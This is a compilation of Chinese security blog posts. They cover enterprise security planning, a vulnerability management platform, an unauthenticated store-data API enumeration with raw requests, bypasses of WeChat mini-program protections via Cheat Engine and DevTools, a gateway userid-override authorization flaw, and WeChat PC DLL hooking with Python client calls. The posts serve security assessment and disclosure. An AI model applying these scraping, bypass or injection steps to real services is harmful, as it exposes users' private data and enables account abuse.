四、互联网企业核心安全目标

企业面临的安全挑战和风险分析清楚后,现在到了树立目标解决问题的时刻。虽然由于每个企业所处的发展阶段、业务特性和所属行业的不同,会导致每个企业的具体安全需求、目标的侧重点有所区别。比如同样是讲数据安全,电商和教育公司对于要保护的数据内容和关注点是有明显差异的。但是对于安全目标有很多地方是一致的,一起来看下:

image

五、互联网企业核心安全能力建设

要实现以上安全目标,就需要企业安全团队具备相应的安全能力。通过提炼总结,我认为一个企业安全团队应当具备五大核心安全能力:

安全风险主动发现与处置能力

具备主流安全风险(数据、业务、漏洞)主动发现、修复方案提供和修复推动能力

安全态势感知和响应能力

具备主流网络攻击、明显异常行为的主动发现和快速应急响应能力

安全自动化、工程化能力

自动化安全工具、系统及平台的设计、研发能力

安全体系建设与运营能力

安全是一个整体,同时也是一个动态和持续的过程,这就要求企业安全团队具备体系化安全建设思维、视野和格局和持续安全运营能力

持续的安全研究和学习能力

业界会不断出现新的漏洞、新的威胁、新的攻击手法,具备应对新攻击、威胁、漏洞的能力也至关重要

image

六、互联网企业安全蓝图

一个企业的安全未来会做成什么样子?这就需要一张安全蓝图来描述和表达,然后朝着这个方向和目标不断努力,最终实现目标。

首先,从顶层安全设计说起,一个企业要有统一和明确的安全战略规划,并定期review,保证安全建设不偏离大方向;其次,要有合理、高效的安全组织架构,把安全团队放到合理的位置,这样才能更好的发挥安全团队的价值;通过持续的安全投入和制定明确合理的安全考核与激励机制,调动安全团队的积极性和促进安全团队的良性发展。最终建立一套相对完善和契合企业自身业务特性的安全体系。但是光有体系还不够,还需要通过持续的安全运营来保障整个体系有效运行。所有这些工作最终都需要有人来完成,所以要实现以上目标,还需要一只专业安全团队加上与之匹配的专业安全能力。如果光有规划,没有人或者能力不足以支撑目标的实现,那么再好的规划也只是空中楼阁。反之也是一样,如果有人,能力也很强,但是没有正确的方向指引和明确的目标,最终也只能沦为救火队员,成为不了一流的安全团队。

image

七、互联网企业安全整体视角

前面我们说到安全是一个整体,并且整个安全体系中包含的内容非常多且杂。我尝试从企业安全整体视角做了梳理,一起来看下企业安全都主要包含哪些方面和内容:

image

八、如何落地实施

现在安全目标已明确,规划也有了。还有一个至关重要的问题没有解决,那就是如何将安全规划落地,并且变成一件可跟踪和量化的事情?这是一件非常有挑战,也是一件可以真正积累安全实践经验的事情。我的思路和建议是把整个安全规划中的内容先列出来,把一个大安全目标分解成多个小安全目标,然后列出打算如何实现这些安全目标,哪些安全产品打算自研,哪些需要和第三方安全厂商合作,最终依据企业目前的安全现状、现有资源以及项目优先级进行排期和实施,并定期跟进这些项目的进度,及时解决、改进整个过程中存在的问题,最终目标是建立一个相对完善的企业安全体系。这部分内容非常多,有机会单独写出来。

image

九、分阶段安全体系建设

从零开始建设一个完善的企业安全体系需要做的事情很多,这并不是一件一蹴而就的事情,而是一个分阶段逐步推进的过程,是一个系统化的工程。在这个过程中企业的安全能力会逐步得到提升。我个人认为,通常一个企业的安全建设需要经历以下几个阶段:

image

救火阶段

这是一个企业安全从无到有必须到经历的阶段,从字面上就可以看出这个阶段安全工作比较被动,安全人员很多时候是充当救火队员的角色。这个阶段工作的核心是解决目前企业遇到最严重、优先级最高的安全问题,在这个过程中要尽快熟悉公司的环境、业务、系统架构等。此外,这个阶段还有个不小的挑战就是如何找到合适的人才组建安全团队。

基础安全建设阶段

在经历救火阶段后,就要开始基础安全建设了。这个阶段的核心安全目标是解决安全规划中优先级最高的安全问题。这个过程会制定、实施一些基础的安全流程和规范,开发一些自动化的安全工具、系统,功能也许不是十分完善,但是可以满足目前的安全需求。还会在一些方面和第三方安全厂商合作,通过购买一些安全产品或服务来提升企业自身安全水平。比如像定期渗透测试、安全众测、抗D、堡垒机、防火墙这类基础安全服务和设备。

保障核心业务和数据安全阶段

这个阶段以保障核心业务和数据安全为核心安全目标。这是由客观条件决定的。举个例子:一个大、中型互联网公司都会有多条业务线,每条业务线又会有多个业务系统,而且这些业务线可能会分布在多个不同的部门,由不同的人负责。如果一上来就想在所有业务线推广严格的SDL流程,很大机率会失败。因为这个阶段安全团队的人不会很多,并没有足够的精力和资源去做覆盖所有业务线的事情。比较明智的做法是先从核心业务系统切入,待整个流程跑通、理顺后再向其他业务线推广。

保障公司整体安全

发展到这个阶段,安全团队已经具有一定规模,各种安全角色也基本到位。也有了很多的安全系统、平台,具备一定的安全自动化能力。所以这个阶段的主要目标是把已有的安全系统、平台进行进一步整合,打磨,进而可以进行高度的联动和关联分析,从而达到更好的掌控公司整体安全态势的目标。有精力还可以将现有安全系统、平台产品化,为下一步对外输出安全能力做好准备。

对外输出安全能力

这个阶段只有当公司体量、业务和安全团队发展的足够大时,才可能有机会做这样的事情。所以这里不作过多讨论。

十、做好安全建设的必要条件

上面说了这么多,其实一个企业的安全能否做好、做强,做大,并非是一个简单的技术问题,而是由多种因素综合决定的。除了安全对企业业务发展的影响度、安全负责人的综合能力和视野、契合企业自身业务特性的安全建设规划、持续的安全投入和专业安全团队外,公司高层是否拥有正确的安全观和给予大力支持也至关重要。

正确的安全观:安全是相对的。互联网企业安全绝不是做一次渗透测试、找安全公司提供个安全解决方案或者购买一些安全产品及安全服务就可以搞定的事情。安全是一个整体,同时也是一个动态和持续的过程,这就要求公司要有持续的安全投入。此外,安全也不只是安全部门的事,还需要全员的参加和高层的大力支持,否则很多安全规划很难真正落地实施。

image

十一、如何衡量安全建设的效果

如何衡量企业安全建设的效果和量化安全工作,是一件非常难的事情。我想这也是很多企业安全负责人面临的难题和挑战。我也面临这种困惑,在这里分享一些我个人的思考和看法。

要评价一个企业安全建设的效果,或者说好坏,我认为应该以企业设定的安全目标和TCO、ROI为基本前提,从安全组织、安全能力、安全体系、安全运营、安全意识这五个方面来展开评价,每个方面可以设定一些核心的评价指标来衡量,下面来一起看下:

安全组织

评价对象:公司高层、安全负责人

评价指标(参考):1、安全团队规模;2、团队角色构成和分布;3、部门层级;4、安全负责人的职级和汇报对象

通过以上几个指标基本可以判断出一家企业高层对于安全的理解和认知水平,是真正重视安全还是口头重视。

安全能力

评价对象:安全团队

评价指标(参考):1、安全风险主动发现和处置能力;2、安全态势感知和响应能力;3、安全自动化、工程化能力;4、安全体系建设、运营能力;5、持续的安全研究和学习能力

安全体系

评价对象:安全团队

评价指标(参考):1、安全体系的合理性和完整性

安全运营

评价对象:安全团队

评价指标(参考):1、是否实现持续运营;2、是否设定运营指标及指标是否合理、明确;3、运营指标是否可量化和可视化;4、运营指标设定和实现粒度;5、是否有运营指标考核标准及标准是否落地执行

安全意识

评价对象:公司全员

评价指标(参考):1、知晓和理解公司对其在信息安全方面的职责和义务要求员工数占比;2、单位时间内因人员安全意识薄弱导致安全事件和安全违规事件数量和占比

image

十二、安全漏洞管理平台建设实践

上面主要介绍了企业安全建设规划相关内容,下面我会从技术、管理和运营三个层面来分享一些VIPKID在安全漏洞管理方面的实践和经验。

技术层面

在技术层面,我们自研了VK安全漏洞管理平台,该平台负责管理公司所有安全漏洞,实现了漏洞全生命周期的线上跟踪与处理,保障漏洞处理流程的可跟踪、维护和高效执行,可视化、量化漏洞风险,支撑漏洞管理和运营工作的开展,将企业的漏洞和安全经验有效积累和沉淀下来,形成企业自己的安全知识库;

管理层面

在管理层面制定和实施了”VK安全漏洞管理制度”和”VK安全接口人制度”;通过这两个安全管理制度定义和明确了漏洞整体处理流程、漏洞等级评估依据、漏洞修复时长和对应的安全接口人等;

运营层面

在运营层面,定义和明确漏洞运营指标、采取专人负责,从多个维度实现漏洞风险的量化和可视化,通过持续的漏洞运营使整个漏洞处理流程形成闭环。

image

VIPKID安全漏洞管理平台基于漏洞全生命周期建立,整个漏洞修复流程过程可以分为五个阶段,在这过程中一旦漏洞状态发生变化,系统都会自动触发邮件提醒给相关方。

1、漏洞提交阶段:

当有新的安全漏洞产生,安全人员会通过漏洞管理平台的漏洞提交页面提交漏洞;

2、漏洞接收阶段:

对应安全接口人在收到新漏洞提醒邮件后,可以登录漏洞管理平台查看漏洞详情和进行漏洞修复排期评估工作。

3、漏洞修复阶段:

此时将进入漏洞修复阶段,安全接口人可以可根据实际情况确认是自己修复,还是指派给团队其他成员修复。

4、漏洞验证阶段:

当漏洞修复完成,由安全接口人在漏洞管理平台发起”验证申请”,这时系统会同步给漏洞提交人发送一份漏洞验证的提醒邮件。漏洞提交人在收到信息后进行漏洞验证,确认漏洞是否被正确修复。如果验证通过,漏洞提交人可以在漏洞管理平台点击”验证通过”按钮,这时漏洞会自动进入下一阶段;如果验证发现漏洞没有正确修复,可以点击”未验证通过”按钮,漏洞自动退回至第二阶段。

5、漏洞公开阶段:

到这个阶段,说明漏洞已经被正确修复,漏洞修复流程结束。这时会对内部人员开放,漏洞公开时,系统会同步给漏洞提交人、对应安全接口人发送漏洞公开的邮件提醒。

image

该平台共实现了五大核心功能,分别是资产管理、漏洞管理、漏洞态势、用户中心和安全知识库。

资产管理的核心功能包含资产的添加、编辑、删除、资产列表等功能,并实现了资产关联对应安全接口人、所属团队或业务线;漏洞管理功能模块除了实现漏洞修复流程全线上处理和状态跟踪外,还包含漏洞等级、来源、类型和漏洞提醒管理;漏洞态势功能从多个维度实现了漏洞态势的量化和可视化;用户中心分为角色管理、用户管理、权限管理和个人中心四部分;安全知识库支持记录和分享安全相关文章。

image

因为时间关系,我这里会介绍部分功能的设计细节,

漏洞提交功能:

为了保证每个安全人员提交漏洞报告格式保持一致和提升可读性,我们设计了统一的漏洞提交页面,在该页面通过系统限制必须填写漏洞标题、受影响系统、漏洞类型、漏洞等级、漏洞来源、漏洞描述、漏洞危害、漏洞详情以及漏洞修复方案。为了提升用户体验,还支持漏洞提交预览、快速定位受影响系统、上传图片和生成临时查看链接等功能。

漏洞编号功能:

当漏洞提交时,系统会自动生成一个惟一的漏洞编号和关联对应的安全接口人、漏洞修复时长和漏洞知识库链接。每个漏洞都会有一个惟一的漏洞编号,这个编号是经过特殊设计的,比如SEC-VD-201808-007,通过这个编号就可以得知当前漏洞是2018年8月份每7个漏洞。如果想要知道本月共有多少个安全漏洞,直接看最新的漏洞编号即可,非常的方便。

漏洞提醒功能:

为了提升安全人员漏洞修复跟进效率和降低成本,漏洞管理平台除了漏洞状态变化提醒功能外,还有一个漏洞延期提醒功能,系统会自动扫描所有待修复漏洞,当发现有延期漏洞时,会自动给漏洞提交人、对应安全接口人和其所在部门负责人发送漏洞延期修复提醒,由部门负责人来协调资源高优处理。这样就避免了安全人员人工去跟进,尤其是在漏洞数量多的时候,这个功能非常有用。

image

为了做到漏洞态势和风险的量化、可视化,我们会从漏洞数量、漏洞状态、类型、等级、来源分布、漏洞修复率以及安全人员发现漏洞数量等多个维度进行分析和监控,并通过合理的设计以图表的形式直观的展现出来。

image

整个漏洞管理平台分为五种角色,分别是安全专家、安全接口人、部门负责人、普通用户和管理员。通过给每个角色来授权进行统一的权限划分和管理。

安全专家:可以提交和管理和自己相关的安全漏洞;

安全接口人:可以查看和管理自己所负责业务系统的漏洞;

部门负责人:可以查看自己负责部门的所有漏洞;

普通用户:只允许查看已修复公开的漏洞;

管理员:拥有平台最高权限。在个人中心,各种角色都可以清晰的查看与自己相关漏洞的详情和对应的漏洞态势。

image

安全漏洞管理平台的价值:

通过该漏洞管理平台,我们实现了漏洞全生命周期的线上管控、做到了量化和可视化漏洞风险,通过对漏洞数据进行统计和分析,从而可以主动掌控公司整体的漏洞态势和弱点。最后将历史漏洞和安全经验积累和有效沉淀,形成公司的安全知识库,也可以在一定程度上为安全漏洞管理和运营工作提供方向和依据。

image

但是光有漏洞管理平台还不够,如果有平台但是大家都不用,那么平台的价值是体现不出来的。所以要想做好漏洞管理工作,需要通过技术、管理和运营三个层面共同协作,相互促进,缺一不可。通过管理手段来明确和规范漏洞修复处理流程与安全接口人职责;通过技术手段来实现和保障漏洞处理流程的高效和落地执行,以及量化和可视化漏洞风险,从技术维度支撑漏洞管理和运营工作的开展;最后通过持续的漏洞运营来使整个漏洞处理流程形成完整闭环和不断优化漏洞处理整体流程,最终实现持续提升漏洞管理水平和能力的目的。

十三、写在最后

互联网企业安全建设之路任重而道远,包含的内容实在是非常的多和广,绝非一篇文章、一次分享能够说的清楚。由于本人能力有限,文中肯定有一些不足之处,欢迎大家一起探讨,共同进步。

某连锁品牌的敏感信息爬取泄露

某连锁品牌的敏感信息爬取泄露

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

不用我说这个某连锁品牌你也应该知道是什么情况,DDD,只能说得很简略了

image

我得到的指示是,看看是否有什么地方,能够获取到所有门店的规模,具体地址,营业状态,以及是否有什么商业信息的暴露等

事前踩点

ok,先看看他们的 APP 吧,每个门店的信息都会有一个页面展示,门店头图会展示门店的营业状态,然后在门店详情页的详情页里会展示营业职照,还是没水印的加盟商执照?!

好的,那我现在只要看看他们的这部分信息是从那个接口调用返回的,再看看门店id这种字段是不是递增可遍历的就好

然后我就发现了,不仅门店id是递增可遍历的,还有接口主动返回所有门店概况,还有接口可以直接传路径得到门店所属企业及其他敏感信息!

这还是个没有加固没做任何限制请求都是 GET 请求的 APP,我哭死!

image

相关请求

获取所有门店列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /xxx/xxxx/x/public/stadiumList HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxx9(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9

HTTP/2 200 OK
Date: xxx, xx Oct 2025 06:04:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 75961
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

[{"id":xxxx,"name":"1\uxxx9","ads":"\uxxxa","gps":"xxx.109246,xx.703893"},
{"id":xxxx,"name":"2\uxxx7","ads":"\uxxxa","gps":"xx.146952,xx.714365"},
......]

获取门店基础信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /xxx/xxxx/xxxx/public/getStadiumInfo HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxxx9(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9

HTTP/2 200 OK
Date: xxx, xx Oct 2025 06:04:06 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1611
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

{"id":xxxx,"brand_id":xxxx,"name":"505\uxxx7","pic":"https:\/\/src-alpha.oss-cn-hangzhou.aliyuncs.com\/xxx\/xxx\/xxxx\/xxxx\/0xxxxxxxxxc","province":"\uxxx1","city":"\uxxx2","county":"\uxxxa","address":"\uxxxe","tel":"4xxxxxxxx2","business_hours":"09:00-22:00","longitude":xxx.175879,"latitude":xx.32727,"intro":null,"aerobics_count":0,"wx_url":null,"area":0,"unmanned":1,"guide":"","plan":"","exxxxxxx_info":"{\"\uxxx0\":[],\"\uxxx0\":[],\"\uxxx0\":[]}","service_info":"[{\"id\":1,\"name\":\"\uxxx6\"},{\"id\":2,\"name\":\"\uxxxd\"},{\"id\":3,\"name\":\"\uxxxa\"},{\"id\":4,\"name\":\"\uxxxa\"},{\"id\":5,\"name\":\"\uxxxa\"}]","fxxxxx_info":"[{\"id\":1,\"name\":\"\uxxx4\"},{\"id\":2,\"name\":\"\uxxx4\"},{\"id\":3,\"name\":\"\uxxxc\"},{\"id\":4,\"name\":\"\uxxx4\"},{\"id\":5,\"name\":\"\uxxxI\"},{\"id\":6,\"name\":\"\uxxxa\"},{\"id\":7,\"name\":\"\uxxxa\"},{\"id\":8,\"name\":\"\uxxx4\"},{\"id\":9,\"name\":\"\uxxx0\"},{\"id\":10,\"name\":\"\uxxx4\"}]","business_license":"https://src-alpha.oss-cn-hangzhou.aliyuncs.com/xxx/xxx/xxxx/xxxx/exxxxxxxxo","trending":null,"featured":null,"brand_info":{"id":xxxx,"name":"\uxxxx7","logo_url":"https:\/\/src-alpha.oss-cn-hangzhou.aliyuncs.com\/xxx\/xxx\/xxxx?v=1xxxxxxxx0","intro":"26\uxxxxb","qrcode_show_url":null}}

返回签约公司信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /xxxxxx/xxx/xxxx/public/get?key=xxxxx_xxx_company_name HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxxxxxxx1(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9
Accept-Encoding: gzip, deflate, br

HTTP/2 200 OK
Date: xxx, xx Oct 2025 01:11:11 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 42
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

xxxxxxxxxx有限公司

感觉要罄竹难书了,不继续写了,贴一个营业执照示意,当然,我没把这么细节的东西都反馈

image

写在后面

虽然这些东西都是该连锁品牌直接展示在 APP 上的,但实际上是非常不安全的,如果被不好意者批量爬取,可能会造成大量敏感信息泄露

这个任务很快也就不由我处理了(毕竟又要漂了),内容也就都被我删除了,只留在博客做经历证明和留档了,不做违法用途

image

小程序安全防护-微信网关&小程序加固突破(下)

小程序安全防护-微信网关&小程序加固突破(下)

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

在上次对某克的小程序测试后,我得出了目前微信对小程序的防护措施(加固+网关)的方式,无法拦截掉本地动态调试的判断,但不知道是业务催得紧还是老板不死心还是微信又推产品了,总之,老板让我去上海跑个小差,参加一下微信的线下公开课,和他们好好讨论一下这个问题……

image

事前准备

纵使在公开课上对来会嘉宾介绍的非常有利,下会后当我当面提出 DevTools 本地动态调试的方法时,商务解释不了推给产品,产品解释不了提问经理,经理找来研发同学,肯定了我的说法,即:

  1. 目前微信网关更倾向于流量监测和风控行为的评估,请求在客户端封装后发往微信网关,再由网关转发至原服务端,这点与认知相同;

  2. 小程序加固目前针对的个体是.wxpkg的包,方法和我们认知的混淆、加壳一致(三级防护增大30-40%体积,五级防护增加三倍体积),无法动态调试指的是获得这个包后无法在本地微信开发工具中调试;

  3. 关于前端通过DevTools进行调试得到js中参数值和代码逻辑的防护,与他们的技术沟通过表示只能在js中加入禁止调试的代码(但也讨论了可以绕过)

即使这样还无法让老板信服,很简单,如果这几点是真的,那就把某特这个被微信誉为2025年上半年最佳小程序安全防护实践的项目弄下来试试

image

使用工具

  • 微信 PC 客户端最新版本

  • WMPFDebugger

  • Cheat Engine(CE)

  • 等等(市面上真的不少)

“受害者”入场

  • 小程序:某特

开始动手

某特

书接上回,某特的小程序要求微信版本不低于4.1.1(后来知道是不低于最新版本微信),但实际上这个限制可以绕过,甚至可以不绕过

你可以通过 Cheat Engine(CE),去搜寻低版本的地址,如 3.8.0.33 的十六进制为 63080021,找到对应地址后改成 64010224(4.1.2.36的十六进制),即可绕过版本限制,版本转换

image

然后你会发现提示你需要在移动端打开……但这个绕过也很容易,其实这个就是类似 wx.getSystemInfo() 这种接口获取设备信息,获取到字段为 windows,就跳转到限制页面了,你都可以打开 Debugger 了,在跳转前查到调用接口,修改参数值就可以了

image

image

可以看到确实是做了混淆的,但是可以被动态调试,即使混淆也能看到传参过程和内容的,只要肯有耐心,但这里我就不继续了,我的目的已经达到了,我又不是灰产= =

image

写在后面

纵使这番,老板也就消停了一会,两三周后又来问我,能不能和微信信用分关联啥的了,我只能说,安全没有否决业务阻拦生产的权利(至少在这家公司没有),只能识别到风险给足建议了,只是看(老板你)能不能说服业务了

image

小程序安全防护-微信网关&小程序加固突破(上)

小程序安全防护-微信网关&小程序加固突破(上)

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

在25年中,业务以“专门下载 APP 太慢啦,我们要小程序操作”为由,施压产研,希望要求把开门等业务重要逻辑重新放回小程序,于是老板找我评估一下安全性

拜托,即使我是23年才来,我也是半接手把开门从小程序“入土”的,现在又要改回去,开什么玩笑!

“我也理解你,所以微信那边给出了一个方案,说是接微信网关和小程序加固就可以保证安全性,你看看”

然后我就被拉入了相关群组,也就意味着去测试微信网关等一系列小程序安全措施了

image

事前准备

其实之前在推业务下线小程序的时候,我就做过测试,论证了为什么小程序的相关实现不安全,因为从根本来说,小程序可以被理解为是微信内置浏览器渲染出的前端而已,是可以被动态调试的,一如浏览器 F12 后 Debugger

当时我还研究过 .wxapkg 的逆向拆解,还原代码之类的,可以参考:

拼图碎片:反编译小程序、数据加密解密、sign值绕过

但其实完全没必要这么麻烦……

使用工具

话说回来,明明企业微信自己都带 DevTools = =

“受害者”入场

就来两个已经接入和采用方案的小程序试试呗

image

  • 小程序:某克、某特

开始动手

某特

先假装不敌,败下阵来

image

某特的小程序要求微信版本不低于4.1.1(后来知道是不低于最新版本微信),但实际上这个限制可以绕过,先不浪费时间,没事,还有下篇呢

某克

完全不是对手,技术力感觉不如我这家公司= =

主要采集了三个请求和响应点:商品分类、个人主页、个人主页-地址簿

商品分类

image

image

可以明显地看到请求头和请求体是明文的,没有用特殊协议,也没有进行加密

个人主页

image

image

在 events 中可以看到本地客户端信息和与 api.nike.com.cn 的关联信息

个人主页-地址簿

image

image

作为用户隐私信息之一的地址信息,耐克是用 GET 请求,通过 upmid 去分配用户存储路径返回的

隐藏请求

image

image

在测试的过程中,仅发现了“sa?project=MiniProgram”下的 Payload 类似加密,但解析过后发现,仅仅是 Base64 编码后 URL 编码了一下,不算加密,也不是微信自身的协议形式:

image

image

动态调试

以 upmid 为着手点,动态调试得到用户地址的获取过程:

image

写在后面

说实话,某克测下来给我感觉完全不行啊,好像都没什么防护措施,后续也向微信那边再次确认了,他们的措辞是“可能是因为接入的是已经很久前的版本了巴拉巴拉”,那么就请看下篇吧

image

某企业网关代码审计

某企业网关代码审计

image

写在前面

这个某企业不用我说也知道是我待过的公司了,但是不会点名的

以下都是情节模拟,并非具体情况,请细加甄别

在24年初,公司让我和阿里的安全人员对公司资产做了一些渗透工作,我们发现的问题不少,也有相互重合的部分,其中对于验签的问题,在 有点问题:灰产-如何破解请求验签(上)有点问题:灰产-如何破解请求验签(下) 已经有过表述

那么,隐藏在验签下的问题有什么呢?

我们同时在不同的接口上发现了大小的越权问题,例如可以看到别人的收货地址等,但只是在接口层面的,没有意识到可能是一个大范围的问题,直到一个疑惑在我的脑海里萌生——

“为什么我们的 userid 有这么多的写法呢?”

image

好奇是所有问题的开端,害死了无数牛马(x

所有起因

因为那时我来公司不久,阿里安全人员又是外来做服务的,都无法解答这个问题,后来才知道是因为在2017年的时候公司做过技术迁移,从 Php(没错,就是如此古老)转到 Java,而后在2022年又进行过一次升级改造,现在已经是第三版了,所以代码的入参字段会有历史遗留,但由于一直都在用,也没有机会和足够的理由进行 C端强制升级,也没有足够的人力去投入,毕竟业务需求第一嘛……

image

我只能说,一般有这种想法的公司不改的话,迟早有一天会爆个大的

如何触发

其实非常简单,也就是在测试增加错误字段的时候,我们好奇地想,如果采用不同的userid书写方式作为字段,在 body 中发起 api 请求,会怎么样?

他妈的下面的userid字段可以覆盖上面的userid字段,并直接被后端服务作为正确入参而调用!

image

How Can It Be!

尝试了几个接口都可以被如此利用后,直觉告诉我,不可能是后端各式的应用服务做了这样的解析和取参,应该是网关层面的问题,遂查之

在撸了一串人后,我们确定了这个问题是17年那次迁移时,为了兼容老旧 Php 实现,然后在22年迁移时,为了兼容老旧 Java 实现引入的两段代码导致的,直接人员早就离职了

image

这段代码会在读取到旧的 userid 字段后,自动放弃掉新的写法,不从 token 中解析 userid,直接信任用户传入的字段值……

image

危害程度

直到这里,大伙还是“这个问题都存在7年了,又没发生大问题,你来就要说改,就要翻天了?”

我表示,好像确实还没有找到被利用的痕迹,我现在数据不完整,我 SLS 上捞一下现在有哪些接口还是这样的类似实现,然后我再一个个给你们验证好,是不是都可以触发这个问题,在告诉你们能造成多大的危害,我们再来谈要不要改的问题

我不知道这种问题是不是安全人员做,但是完全由安全梳理验证和评估应该是不合适的,但我还是一个人做了,给他整完

结果就是:自2024年Q4末期到2025年Q1,从网关配置(compatible.before.dubboApiStr.生产配置)导出PHP相关老旧接口130例,再由网关日志(xx-gateway_xx-gateway)30天流量匹配出PHP相关老旧接口76例,审查得到越权查看修改个人信息、过度返回信息(token、API、部分源码)、伪造进行业务操作(取消任意用户预约排队乃至无需权益进行开门)等问题,以下为细节问题划分与处理方案……

image

后续处理

当我把这些细节展示出来,并且反馈上级时,得到的是各TL“我们都知道这个地方有问题啦,有处理方案,就是没人推巴拉巴拉”,然后CTO是一句“下次这种大家都有方案达成共同认知的问题就可以不用拉我,你们去推进做就好了”

不是,如果我不去统计,我不去挖不去审计,你们真的知道这会引起什么问题,怎么引起,又是因为什么代码引起的?你们知道有哪些要改,会影响到哪些业务,哪些需要下线需要换新接口,哪些可以直接在原有基础上改网关代码就能兜底?

这个问题从24年初被发现,到25年Q3才被从网关上兜底解决,而且解决了也被觉得是个7年都没发生问题的问题,解决与否感觉没什么价值,我并没有受到任何肯定,大家也只是觉得是安全强要求才推进去做的

image

PC端WeChat逆向注入

PC端WeChat逆向注入

image

写在前面

首先是好久都没写原创的技术博客了,上一篇还是去海参崴的旅行回记:滨海远东之后(After Vladivostok)

起笔这篇文章的时候,实际上已经是25年12月,但事情大概是25年5月发生的事情,也就是其实我只咕了一年不到!(理直气壮x

之所以有时间来写写这一年来遇到的技术趣事,是因为一方面到年底了,一方面我又要开始漂泊了(为什么我要说又),细节的原因大家有兴趣可以看看 食用指南 下面的每年记事,我大概会把这几篇文章更完后一并更新之

言归正传,所有的这种如题所示需求都是公司需要,以下都是情节模拟,并非具体情况,请细加甄别

在24年底其实就有 TL 找我,说目前我们的私域运营效率比较低,还要用批量的实机统一调度操作,问我能不能破解企业微信的私有协议,让后端能直接修改数据传参,调用接口,回复用户、发朋友圈等……

image

呵,我当然不会答应,只是“好好好,我有时间看看”的说法,可要知道这是在法律边缘疯狂试探的,当然,后面还有老板要我去爬竞品公司数据啥的,只能说这个公司简直了= =

总而言之

总而言之,虽然我推辞了,但到半年后这件事情再被捞起来的时候,我就推不掉了,我只能想办法实现而又不让它上线,也就是拿出达成目标的证据但给出不能这么做的足够理由

前置准备

我在做前期信息搜集的时候,参考了:基于wireshark对网页版微信抓包和ios微信抓包分析微信3.9.8.25机器人(Hook注入)搭建教程文档 还有一众相关文章

前者让我抛弃了直接破解加密协议的想法,且先不说能否实现,也太麻烦了

后者让我转向了另一个实现方向:我能不能 Hook 微信,通过这样的方式进行一些功能调用和传参修改呢?

image

摸索开始了——

在查阅了大量前人的资料和看到无数的卖技术贩子后,我大概了解了目前做这一块的“灰产技术”大概的执行方式:利用低版本的 PC 端微信,对其进行功能调用内存地址的发掘,然后通过外置函数模拟接口数据,再写入微信进行接口请求篡改或直接执行

image

定制DLL

其实现在所有主流的 PC 微信 Hook 几乎都来自一个项目:https://github.com/ttttupup/wxhelper

我也就借用这个项目的示例,高概括的向大家说一下步骤是如何进行的,如何实现的:

  1. 用 Cheat Engine(CE)去找微信触发接口的回调地址,先在固定对话框(文件传输助手)发送特定的语句,然后在 CE 中寻找相应语句所在地址;
  2. 然后用 x64DBG 或者 OD 在地址处下断点,断点后一步步跟进到调用函数,或者直接用 IDA Pro 或 Ghidra 对关键地址进行搜索后,一步步向上找调用函数;

image

  1. 再结合这个关键函数,让 AI 帮忙分析一下,写一下带汇编语句的 C 代码,作为一个业务功能(给特定对象发消息)的回调(Call),然后再编译成一个动态连结库(.DLL),供外部拓展使用(http)

image

接口调用

如何运用编写出的 DLL 以及如何撰写接口的调用,示例在 wxhelper 的 client.py 中都有,这里只展示部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
>import requests
>import json


>def check_login():
"""
0.检查是否登录
:return:
"""
url = "127.0.0.1:19088/api/?type=0"
payload = {}
headers = {}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)


>def user_info():
"""
登录用户信息
:return:
"""
url = "127.0.0.1:19088/api/?type=8"
payload = {}
headers = {}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)


>def send_text():
"""
发送文本
:return:
"""
url = "127.0.0.1:19088/api/?type=2"
payload = json.dumps({
"wxid": "filehelper",
"msg": "123"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
......

最终实现

当前面两步实现后,就可以进行简单的功能调用了,以下是获取个人信息以及发送消息的实际情况:

image

image

后续推辞

当然,这只是我给“私域优化建议”的一部分,对于这部分,我表示:实现了,但不能做,有封号风险

